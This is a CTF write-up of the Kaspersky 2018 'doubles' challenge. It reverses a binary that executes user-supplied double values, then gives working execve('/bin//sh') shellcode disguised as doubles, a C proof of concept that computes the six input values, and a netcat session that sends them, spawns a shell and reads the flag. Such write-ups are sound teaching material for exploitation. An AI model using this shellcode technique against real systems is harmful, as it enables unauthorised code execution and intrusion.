0xd13a

A rookie in a world of pwns

Kaspersky Industrial CTF 2018 Writeup: doubles

doubles

635

nc doubles.2018.ctf.kaspersky.com 10001

doubles

This is a pwning challenge on a x64 Linux executable:

1
2
3
$ file doubles
doubles: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter 
/lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e5511e0c31ccc63eda7398cbbfdf1d479f4854cd, not stripped

The file is pretty small and disassembly reveals the following steps:

  • Allocate 0x1000 bytes of memory with read/write/execute permissions
  • Ask user for a number of inputs n (between 0 and 6) and then read n double values from input
  • Put each 8-byte double value sequentially at the beginning of allocated memory area
  • Put byte sequence 31C0909090909090 at offset 0x70 in the allocated memory. It decompiles to the following:
1
2
3
4
5
6
7
0:  31 c0                   xor    eax,eax
2:  90                      nop
3:  90                      nop
4:  90                      nop
5:  90                      nop
6:  90                      nop
7:  90                      nop 
  • Put the sum of all entered doubles divided by n at offset 0x78 in the allocated memory area
  • Zero out all registers and jump to offset 0x70 in the allocated memory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
4008C1 31 DB                                         xor     ebx, ebx
4008C3 31 C9                                         xor     ecx, ecx
4008C5 31 D2                                         xor     edx, edx
4008C7 31 FF                                         xor     edi, edi
4008C9 31 F6                                         xor     esi, esi
4008CB 31 ED                                         xor     ebp, ebp
4008CD 31 E4                                         xor     esp, esp
4008CF 31 E4                                         xor     esp, esp
4008D1 4D 31 C0                                      xor     r8, r8
4008D4 4D 31 C9                                      xor     r9, r9
4008D7 4D 31 D2                                      xor     r10, r10
4008DA 4D 31 DB                                      xor     r11, r11
4008DD 4D 31 E4                                      xor     r12, r12
4008E0 4D 31 ED                                      xor     r13, r13
4008E3 4D 31 F6                                      xor     r14, r14
4008E6 4D 31 FF                                      xor     r15, r15
4008E9 FF E0                                         jmp     rax

So the intent is fairly clear now - accept a bunch of double values from the user that, when stored, become the shellcode that exploits the application.

Unfortunately there are several complications here:

  • Not every byte sequence represents a valid double value, so we will have to play with the commands in our shellcode to make them combine into valid doubles
  • Before control is transferred to the shellcode all registers are cleared, including the esp - and we need valid stack for the shellcode to work
  • The bytes at offset 0x78 are composed from all other double values, and at the same time they have to become a jmp to our shellcode

Max possible bytes we can input is 6*8 = 48 which is plenty for a x64 shellcode - we will use a common short variant for our purposes.

We have to add additional commands into the code so that it could be represented as valid doubles, so after some experimentation we arrive at the following working example that fits into 5 8-byte sequences:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0:  31 f6                   xor    esi,esi         ; filler code
2:  31 f6                   xor    esi,esi         ; filler code
4:  48 8d 25 ff 05 00 00    lea    rsp,[rip+0x5ff] ; allocate stack about mid-way through the memory area
b:  90                      nop                    ; filler code
c:  90                      nop                    ; filler code
d:  31 f6                   xor    esi,esi
f:  48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f2f6e69622f ; load /bin//sh into rbx
16: 2f 73 68
19: 56                      push   rsi
1a: 53                      push   rbx
1b: 54                      push   rsp
1c: 5f                      pop    rdi
1d: 6a 3b                   push   0x3b
1f: 58                      pop    rax
20: 66 31 c9                xor    cx,cx           ; filler code
23: 31 d2                   xor    edx,edx
25: 0f 05                   syscall
27: ff                      .byte 0xff             ; filler junk byte

We can now come up with 6th double that will produce a valid jmp at offset 0x78 when combined with other doubles. For the jmp to be valid let us try for the following value j at that location: eb869090909090ff, which decompiles to:

1
2
3
4
5
6
7
0:  eb 86                   jmp    0xffffffffffffff88 ; jump 122 bytes back
2:  90                      nop
3:  90                      nop
4:  90                      nop
5:  90                      nop
6:  90                      nop
7:  ff                      .byte 0xff 

Formula for 6th double becomes pretty simple:

1
d6 = j*6 - (d1+d2+d3+d4+d5)

Python’s handling of long doubles is not very predictable, so let’s write a piece of C code as our PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
int main()
{
  char dc1[] = {0x31,0xf6,0x31,0xf6,0x48,0x8d,0x25,0xff};
  double d1 = *(double*)dc1;
  char dc2[] = {0x05,0x00,0x00,0x90,0x90,0x31,0xf6,0x48};
  double d2 = *(double*)dc2;
  double d3 = *(double*)"\xbb\x2f\x62\x69\x6e\x2f\x2f\x73";
  double d4 = *(double*)"\x68\x56\x53\x54\x5f\x6a\x3b\x58";
  double d5 = *(double*)"\x66\x31\xC9\x31\xd2\x0f\x05\xff";
	
  double j = *(double*)"\xeb\x86\x90\x90\x90\x90\x90\xff";
	
  printf("d1 = %lf\n\nd2 = %lf\n\nd3 = %lf\n\nd4 = %lf\n\nd5 = %lf\n\nj = %lf\n\n",d1,d2,d3,d4,d5,j);
   
  printf("sum = %lf\n\nj*6 = %lf\n\nd6 = %lf\n",d1+d2+d3+d4+d5,j*6,j*6-(d1+d2+d3+d4+d5));
   
  return 0;
}

When run we get the following values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
d1 = -29559091864572820292681211914927464797860470802238602797975133423556597190524648032648549717921251541252207615662565262295374628003076419760662954965978663312650403503266161258034199495885073994787156264246210982573198769108759875107127168181815354450326757138884460293640370406304322547625947123628900352.000000

d2 = 30933380527999897844181710530453929767993344.000000

d3 = 6813905293115760542120164628744098873719246634693038997721476826910022503981551850256229588569116520719267474398463574052616707022645722479718377571242630801186886685030914191052826781635181654745781180865715668825202440012912092967881823496437760.000000

d4 = 1080226375091073528021226343805715536002313604560130468987472238944077983639024984304711725399647812346738966255370240.000000

d5 = -7221728359051669221104524211471986207229634050470487507184666147640458850386807544095578717721216606254177370818620670478590545335985432672572436948742881130607592737182467980735839261026849649608088362430955077272509753119169582149912145378930118483238742739000059656808347887105107420583218873446170624.000000

j = -2908033012275735465345584273188774480244846208973146967303899150349685107885671012220806655752397208130581049387909425120052463248269430708062761141130806637840019732542185668620969062492161721433352994196491003929461564535255972897316734923212121386921972473231415147003098792468167203464949561206583066624.000000

sum = -36780820223624487077457233276399680916744507883912012586103085172445174323934841273506955744035942531102618515978621126447736115486894806568442925613948032798761172162285274355950613767793666176697830754163753971645810152423334738835639832212026736496974596010643116743514017517340043197752018499096543232.000000

j*6 = -17448198073654411544673312179932764596236131605814778011666357129937147208221999550067407516411842133184757863430143369881285501869307056765602824100788801865057744467233476311722268780524422505139042062452079034418421421871583341552143875088728735265997292059360892440068025957461477194315637848274492194816.000000

d6 = -17411417253430787730022521733256301459702771861318859449539907218820221387783610256487360223551207260781094790772872635300876985721018266617717101874188343046140106740644276985024479463753267900046830460511617016789947561785228149097614492108763079785999406930708876608438489354139287899764058539217469308928.000000

Now armed with these values we can simply paste them in our netcat session and get the flag:

1
2
3
4
5
6
7
8
9
10
11
$ nc -vv doubles.2018.ctf.kaspersky.com 10001
Connection to doubles.2018.ctf.kaspersky.com 10001 port [tcp/*] succeeded!
n: 6
-29559091864572820292681211914927464797860470802238602797975133423556597190524648032648549717921251541252207615662565262295374628003076419760662954965978663312650403503266161258034199495885073994787156264246210982573198769108759875107127168181815354450326757138884460293640370406304322547625947123628900352.000000
30933380527999897844181710530453929767993344.000000
6813905293115760542120164628744098873719246634693038997721476826910022503981551850256229588569116520719267474398463574052616707022645722479718377571242630801186886685030914191052826781635181654745781180865715668825202440012912092967881823496437760.000000
1080226375091073528021226343805715536002313604560130468987472238944077983639024984304711725399647812346738966255370240.000000
-7221728359051669221104524211471986207229634050470487507184666147640458850386807544095578717721216606254177370818620670478590545335985432672572436948742881130607592737182467980735839261026849649608088362430955077272509753119169582149912145378930118483238742739000059656808347887105107420583218873446170624.000000
-17411417253430787730022521733256301459702771861318859449539907218820221387783610256487360223551207260781094790772872635300876985721018266617717101874188343046140106740644276985024479463753267900046830460511617016789947561785228149097614492108763079785999406930708876608438489354139287899764058539217469308928.000000
cat flag.txt
KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}

The flag is KLCTF{h4ck1ng_w1th_d0ubl3s_1s_n0t_7ha7_t0ugh}.